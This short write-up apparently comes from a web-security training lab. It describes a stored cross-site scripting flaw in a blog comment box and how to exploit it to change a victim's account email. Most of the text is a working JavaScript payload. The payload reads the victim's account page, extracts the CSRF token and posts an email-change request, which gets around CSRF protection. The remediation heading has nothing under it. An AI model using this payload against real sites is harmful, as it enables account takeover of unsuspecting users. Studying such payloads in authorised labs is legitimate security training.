SCENARIO

The application contains a stored cross site scripting vulnerability in the comment box functionality as a simulated victim user views all comments after they are posted. We will try to exploit the vulnerability to make the application change the target’s email address.

**PROCEDURE**

1. Go the vulnerable web applications and open any post.
2. Post a comment with trash data but enter the payload into the comment box.
3. It will force the application to make the application to change the email address to the given address as soon as they open their comment page.

**PAYLOAD**

<script>

var req = new XMLHttpRequest();

req.onload = handleResponse;

req.open('get','/my-account',true);

req.send();

function handleResponse() {

var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];

var changeReq = new XMLHttpRequest();

changeReq.open('post', '/my-account/change-email', true);

changeReq.send('csrf='+token+'&email=test@test.com')

};

</script>

**REMEDIATION**